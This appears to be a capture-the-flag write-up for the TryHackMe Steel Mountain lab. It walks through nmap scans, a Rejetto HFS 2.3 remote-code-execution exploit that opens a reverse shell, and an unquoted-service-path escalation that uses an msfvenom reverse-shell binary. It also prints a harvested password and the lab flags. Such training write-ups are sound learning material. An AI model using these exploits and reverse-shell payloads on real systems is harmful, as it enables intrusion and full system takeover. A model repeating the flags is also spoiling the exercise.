

Steel_mountain

1. Resolution Summary
2. Information Gathering
3. Enumeration
4. Exploitation
5. Lateral movement to user, Privilege escalation
6. Loot
7. Archive

Resolution summary

- For some reason port 8080 did not show up. Always do manual enumeration of most common ports (80, 8080, 139, 21, 22 etc). Always.
- always try to walk around. Powershell don't want to work? use cmd. move command have "access denied" status? use copy command. Just think backwards.

Improved skills

- recon and enumeration
- Privilege escalation - service permissions - unquoted service path

Used tools

- nmap
- rejeetto exploit
- metasploit

Information Gathering

Scanned all TCP ports:

```
(root@kali)-[/home/kali/workfolder]
# nmap 10.10.187.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 01:16 EDT
Nmap scan report for 10.10.187.211
Host is up (0.058s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
```

```
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
```

Enumerated open TCP ports:

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
└─# nmap -p 8080 -sV 10.10.187.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 02:01 EDT
Nmap scan report for 10.10.187.211
Host is up (0.055s latency).

PORT      STATE SERVICE VERSION
8080/tcp  open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
```

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
└─# nmap -T4 -p- -A -Pn 10.10.187.211 -oN firstscan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 01:16 EDT
Nmap scan report for 10.10.187.211
Host is up (0.056s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
80/tcp    open  http             Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesnt have a title (text/html).
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds      Microsoft Windows Server 2008 R2 - 2012
microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info:
|   Target_Name: STEELMOUNTAIN
```

```
| NetBIOS_Domain_Name: STEELMOUNTAIN
| NetBIOS_Computer_Name: STEELMOUNTAIN
| DNS_Domain_Name: steelmountain
| DNS_Computer_Name: steelmountain
| Product_Version: 6.3.9600
|_ System_Time: 2024-04-03T05:19:15+00:00
|_ssl-date: 2024-04-03T05:19:22+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2024-04-02T05:16:30
|_Not valid after: 2024-10-02T05:16:30
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
```

No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

TCP/IP fingerprint:

```
OS: SCAN(V=7.94SVN%E=4%D=4/3%OT=80%CT=1%CU=40095%PV=Y%DS=2%DC=T%G=Y%TM=660CE
OS: 6D7%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=0%T
OS: S=7)SEQ(SP=104%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=104%GCD=1%I
OS: SR=109%TI=RD%CI=I%II=I%TS=7)SEQ(SP=106%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S
OS: %TS=7)SEQ(SP=FF%GCD=1%ISR=105%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M508NW8ST1
OS: 1%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M508NW8ST11%O6=M508ST
OS: 11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80
OS: %W=2000%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%F=AS%RD=0%Q=)T2(R
OS: =Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=
OS: AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS: 80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0
OS: %Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=1
OS: 64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
```

Network Distance: 2 hops

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:

cpe:/o:microsoft:windows

Host script results:

```
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb2-time:
```

```
|   date: 2024-04-03T05:19:15
|_  start_date: 2024-04-03T05:16:22
|_ nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC:
02:6a:0d:37:61:af (unknown)
|_ clock-skew: mean: 3s, deviation: 0s, median: 2s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
```

TRACEROUTE (using port 53/tcp)

```
HOP RTT      ADDRESS
1   57.74 ms  10.11.0.1
2   57.88 ms  10.10.187.211
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 155.58 seconds

Enumerated top 200 UDP ports:

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
# nmap -sU --top-ports 200 10.10.187.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 01:21 EDT
Nmap scan report for 10.10.187.211
Host is up (0.060s latency).
Not shown: 194 closed udp ports (port-unreach)
PORT      STATE      SERVICE
137/udp    open       netbios-ns
138/udp    open|filtered netbios-dgm
500/udp    open|filtered isakmp
3389/udp   open|filtered ms-wbt-server
4500/udp   open|filtered nat-t-ike
5355/udp   open|filtered llmnr

Nmap done: 1 IP address (1 host up) scanned in 262.15 seconds
```

Enumeration

Port 80 - HTTP (Microsoft IIS httpd 8.5) nothing interesting

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
└─# nmap -p 8080 -sV 10.10.187.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 02:01 EDT
Nmap scan report for 10.10.187.211
Host is up (0.055s latency).

PORT      STATE SERVICE VERSION
8080/tcp  open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: /o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
```

BillHarper.png



Employee of the month



```
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Steel Mountain</title>
<style>
* {font-family: Arial;}
</style>
</head>
<body><center>
<a href="[index.html](view-source:http://10.10.187.211/index.html)"></a>
<h3>Employee of the month</h3>
```

```
  
</center>  
</body>  
</html>
```

Port 139 - smb (Microsoft IIS httpd 8.5) nothing interesting

```
(root@kali)-[/home/kali/workfolder]  
└─# nmap -p 139,445 -sV -Pn 10.10.187.211  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 01:19 EDT  
Nmap scan report for 10.10.187.211  
Host is up (0.058s latency).  
  
PORT      STATE SERVICE      VERSION  
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012  
microsoft-ds  
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:  
cpe:/o:microsoft:windows  
  
Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds
```

```
Host script results:  
| smb2-security-mode:  
|   3:0:2:  
|_    Message signing enabled but not required  
| smb2-time:  
|   date: 2024-04-03T05:19:15  
|_  start_date: 2024-04-03T05:16:22  
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC:  
02:6a:0d:37:61:af (unknown)  
|_clock-skew: mean: 3s, deviation: 0s, median: 2s  
| smb-security-mode:  
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)
```

```
(root@kali)-[/home/kali/workfolder]
# nmap --script "safe or smb-enum-*" -p 445 10.10.187.211
```

Starting Nmap 7.94SVN (<https://nmap.org>) at 2024-04-03 01:28 EDT

Pre-scan script results:

|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See <https://www.robtex.com/api/>

|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See <https://www.robtex.com/api/>

|_eap-info: please specify an interface with -e

| broadcast-dhcp-discover:

| Response 1 of 3:

| Interface: eth1

| IP Offered: 10.0.3.16

| Subnet Mask: 255.255.255.0

| Router: 10.0.3.2

| Domain Name Server: 192.168.0.1

| Domain Name: home

| Server Identifier: 10.0.3.2

| Response 2 of 3:

| Interface: eth2

| IP Offered: 192.168.0.185

| Server Identifier: 192.168.0.1

| Subnet Mask: 255.255.255.0

| Router: 192.168.0.1

| Domain Name Server: 192.168.0.1

| Domain Name: home

| Response 3 of 3:

| Interface: eth0

| IP Offered: 10.0.2.32

| Server Identifier: 10.0.2.3

| Subnet Mask: 255.255.255.0

| Router: 10.0.2.1

| Domain Name Server: 192.168.0.1

|_ Domain Name: home

| broadcast-dropbox-listener:

displayname	ip	port	version	host_int
-------------	----	------	---------	----------

namespaces

_	192.168.0.143	17500	2.0	3.1837612208179e+38
---	---------------	-------	-----	---------------------

3038939297

| broadcast-listener:

| ether

| ARP Request

sender ip	sender mac	target ip
-----------	------------	-----------

	192.168.0.1	38:43:7d:c7:de:36	192.168.0.143
--	-------------	-------------------	---------------

| udp

| SSDP

ip	uri
----	-----

	192.168.0.31	urn:dial-multiscreen-org:service:dial:1
--	--------------	---


```

|           DHCP
|           srv ip           cli ip           mask           gw           dns
vendor
|           192.168.0.1  192.168.0.185  255.255.255.0  192.168.0.1
192.168.0.1 -
|           10.0.3.2      10.0.3.16      255.255.255.0  10.0.3.2
192.168.0.1 -
|           10.0.2.3      10.0.2.32      255.255.255.0  10.0.2.1
192.168.0.1 -
|           DropBox
|           displayname ip           port   version  host_int
namespaces
|_           192.168.0.143  17500  2.0      3.1837612208179e+38
3038939297
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
| broadcast-igmp-discovery:
|   192.168.0.31
|   Interface: eth2
|   Version: 2
|   Group: 224.0.0.251
|   Description: mDNS (rfc6762)
|   192.168.0.31
|   Interface: eth2
|   Version: 2
|   Group: 224.0.0.252
|   Description: Link-local Multicast Name Resolution (rfc4795)
|   192.168.0.143
|   Interface: eth2
|   Version: 2
|   Group: 224.0.0.251
|   Description: mDNS (rfc6762)
|   192.168.0.31
|   Interface: eth2
|   Version: 2
|   Group: 239.255.255.250
|   Description: Organization-Local Scope (rfc2365)
|_ Use the newtargets script-arg to add the results as targets
Nmap scan report for 10.10.187.211
Host is up (0.058s latency).

```

```

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

```

```

Host script results:
| unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)
| port-states:

```

```
| tcp:
|_ open: 445
|_ ipidseq: Unknown
| dns-blacklist:
| SPAM
|_ l2.apews.org - FAIL
| smb2-capabilities:
| 2:0:2:
| Distributed File System
| 2:1:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:2:
| Distributed File System
| Leasing
|_ Multi-credit operations
|_ fcrdns: FAIL (No PTR record)
|_ nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC:
02:6a:0d:37:61:af (unknown)
|_ msrpc-enum: No accounts left to try
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2:0:2
| 2:1:0
| 3:0:0
|_ 3:0:2
|_ path-mtu: PMTU == 1500
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: No accounts left to try
| smb2-time:
| date: 2024-04-03T05:29:06
|_ start_date: 2024-04-03T05:16:22
|_ clock-skew: mean: 2s, deviation: 0s, median: 2s
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
```

Post-scan script results:

```
| reverse-index:
```

```
|_ 445/tcp: 10.10.187.211
Nmap done: 1 IP address (1 host up) scanned in 59.61 seconds
```

Port 8080 - HTTP (HttpFileServer httpd 2.3)

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
# nmap -p 8080 -sV 10.10.187.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 02:01 EDT
Nmap scan report for 10.10.187.211
Host is up (0.055s latency).

PORT      STATE SERVICE VERSION
8080/tcp  open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
```

Exploitation

Remote code execution to powershell

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
# searchsploit HttpFileServer
```

Exploit Title	Path
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)	windows/webapps/49125.py
Shellcodes: No Results	

<https://github.com/randallbanner/Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution>

```

└─(root@kali)-[/home/kali/tryhackme/steel_mountain/Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution]
└─# python3 hfs-2-3-exploit.py
Local Host IP      : 10.11.80.80
Listen Port       : 4444
Remote Host IP    : 10.10.187.211
HTTP FileServer Port: 8080

[+] Checking URL Is HTTP FileServer 2.3...
[+] Target is online and appears to be HttpFileServer 2.3
[+] Building Exploit
[+] Do you want me to start a Netcat Listener for you? (Y/n): y
[+] Sending Exploit
[+] Starting Netcat on Port: 4444

!!!! — Press Enter After Connection Established — !!!!

listening on [any] 4444 ...
connect to [10.11.80.80] from (UNKNOWN) [10.10.187.211] 49257
whoami
steelmountain\bill
PS C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup> 

```

```

└─(root@kali)-[/home/kali/tryhackme/steel_mountain/Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution]
└─# python3 hfs-2-3-exploit.py
Local Host IP      : 10.11.80.80
Listen Port       : 4444
Remote Host IP    : 10.10.187.211
HTTP FileServer Port: 8080

[+] Checking URL Is HTTP FileServer 2.3...
[+] Target is online and appears to be HttpFileServer 2.3
[+] Building Exploit
[+] Do you want me to start a Netcat Listener for you? (Y/n): y
[+] Sending Exploit
[+] Starting Netcat on Port: 4444

!!!! --- Press Enter After Connection Established --- !!!!

listening on [any] 4444 ...
connect to [10.11.80.80] from (UNKNOWN) [10.10.187.211] 49257
whoami
steelmountain\bill
PS C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup> systeminfo

Host Name: STEELMOUNTAIN

```

OS Name: Microsoft Windows Server 2012 R2 Datacenter

User flag:

```
PS C:\Users\bill\Desktop> dir

Directory: C:\Users\bill\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----          9/27/2019   5:42 AM             70 user.txt

PS C:\Users\bill\Desktop> type user.txt
b04763b6fcf51fcd7c13abc7db4fd365
PS C:\Users\bill\Desktop>
```

Privilege Escalation

Local Enumeration

systeminfo

Host Name: STEELMOUNTAIN
OS Name: Microsoft Windows Server 2012 R2 Datacenter
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00253-50000-00000-AA656
Original Install Date: 9/26/2019, 7:11:06 AM
System Boot Time: 4/2/2024, 10:15:33 PM
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 63 Stepping 2

GenuineIntel ~2400 Mhz
BIOS Version: Xen 4.11.amazon, 8/24/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32

```
Boot Device:                \Device\HarddiskVolume1
System Locale:               en-us;English (United States)
Input Locale:               en-us;English (United States)
Time Zone:                  (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:      2,048 MB
Available Physical Memory:  1,444 MB
Virtual Memory: Max Size:   2,432 MB
Virtual Memory: Available:  1,837 MB
Virtual Memory: In Use:     595 MB
Page File Location(s):      C:\pagefile.sys
Domain:                     WORKGROUP
Logon Server:               \\STEELMOUNTAIN
Hotfix(s):                  6 Hotfix(s) Installed.
                             [01]: KB2919355
                             [02]: KB2919442
                             [03]: KB2937220
                             [04]: KB2938772
                             [05]: KB2939471
                             [06]: KB2949621
Network Card(s):            1 NIC(s) Installed.
                             [01]: AWS PV Network Device
                                 Connection Name: Ethernet 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.1
                                 IP address(es)
                                 [01]: 10.10.187.211
                                 [02]: fe80::f020:293f:4557:bead
Hyper-V Requirements:       A hypervisor has been detected. Features required
for Hyper-V will not be displayed.
```

```
PS C:\Users\bill\Desktop> whoami
steelmountain\bill
PS C:\Users\bill\Desktop> whoami \priv
PS C:\Users\bill\Desktop> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

```
PS C:\Users\bill\Desktop> net user
```

User accounts for \\STEELMOUNTAIN

Administrator	bill	Guest
---------------	------	-------

The command completed successfully.

Powerup.ps1

```
PS C:\users\bill\desktop> . ./PowerUp.ps1
```

```
PS C:\users\bill\desktop> invoke-Allchecks
```

```
ServiceName      : AdvancedSystemCareService9
Path              : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
ModifiablePath   : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users;
                    Permissions=AppendData/AddSubdirectory}
StartName         : LocalSystem
AbuseFunction      : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -
Path
                  <HijackPath>
CanRestart       : True
Name              : AdvancedSystemCareService9
Check             : Unquoted Service Paths
```

```
( ... )
```

```
DefaultDomainName : 
DefaultUserName   : bill
DefaultPassword    : PMBAf5KhZAxVhvqb
AltDefaultDomainName : 
AltDefaultUserName : 
AltDefaultPassword : 
Check             : Registry Autologons
```

Privilege Escalation vector - unquoted service path

potentially vulnerable services

```
ServiceName      : AdvancedSystemCareService9
Path              : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
```

generating reverse shell payload:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.80.80 LPORT=4443 -e
x86/shikata_ga_nai -f exe-service -o Advanced.exe
```

```
msf6 exploit(windows/http/rejetto_hfs_exec) > run
```

```
[*] Started reverse TCP handler on 10.11.80.80:4444
[*] Using URL: http://10.11.80.80:8080/TUJBm5w8
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /TUJBm5w8
[*] Sending stage (176198 bytes) to 10.10.159.122
[!] Tried to delete %TEMP%\xgxMSMJ0.vbs, unknown result
[*] Meterpreter session 1 opened (10.11.80.80:4444 → 10.10.159.122:49208)
at 2024-04-04 02:17:06 -0400
[*] Server stopped.
```

```
meterpreter > upload ASCService.exe
```

```
[*] Uploading : /home/kali/tryhackme/steel_mountain/ASCService.exe →
ASCService.exe
```

```
[*] Uploaded 15.50 KiB of 15.50 KiB (100.0%):
```

```
/home/kali/tryhackme/steel_mountain/ASCService.exe → ASCService.exe
```

```
[*] Completed : /home/kali/tryhackme/steel_mountain/ASCService.exe →
ASCService.exe
```

```
meterpreter > shell
```

```
Process 2200 created.
```

```
Channel 3 created.
```

```
Microsoft Windows [Version 6.3.9600]
```

```
(c) 2013 Microsoft Corporation. All rights reserved.
```

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start
```

```
Menu\Programs\Startup>dir
```

```
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is 2E4A-906A
```

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start
```

```
Menu\Programs\Startup>whoami
```

```
whoami
```

```
steelmountain\bill
```

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start
```

```
Menu\Programs\Startup>copy ASCService.exe "C:\Program Files
```

```
(x86)\IObit\Advanced SystemCare"
```

```
copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare"
```

```
Overwrite C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe?
```

```
(Yes/No/All): Yes
```

```
Yes
```

```
1 file(s) copied.
```

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start
```

```
Menu\Programs\Startup>sc stop AdvancedSystemService9
```



```
sc stop AdvancedSystemCareService9
[SC] ControlService FAILED 1062:
```

The service has not been started.

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
```

```
SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE                : 2   START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE       : 0   (0x0)
        SERVICE_EXIT_CODE    : 0   (0x0)
        CHECKPOINT            : 0x0
        WAIT_HINT             : 0x7d0
        PID                  : 1144
        FLAGS                  :
```

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>
```

on kali linux

```
(root@kali)-[/home/kali/tryhackme/steel_mountain]
└─# nc -nlvp 4443
listening on [any] 4443 ...
connect to [10.11.80.80] from (UNKNOWN) [10.10.159.122] 49227
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

(...)

```
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 2E4A-906A
```

Directory of C:\Users\Administrator\Desktop

```
10/12/2020  12:05 PM    <DIR>          .
10/12/2020  12:05 PM    <DIR>          ..
```

```
10/12/2020 12:05 PM          1,528 activation.ps1
09/27/2019 05:41 AM          32 root.txt
                2 File(s)          1,560 bytes
                2 Dir(s)  44,156,166,144 bytes free
```

```
C:\Users\Administrator\Desktop>type root.txt
type root.txt
9af5f314f57607c00fd09803a587db80
C:\Users\Administrator\Desktop>
```

Trophy & Loot

Creds

bill:PMBAf5KhZAxVhvqb

user.txt

```
b04763b6fcf51fcd7c13abc7db4fd365
```

root.txt

```
9af5f314f57607c00fd09803a587db80
```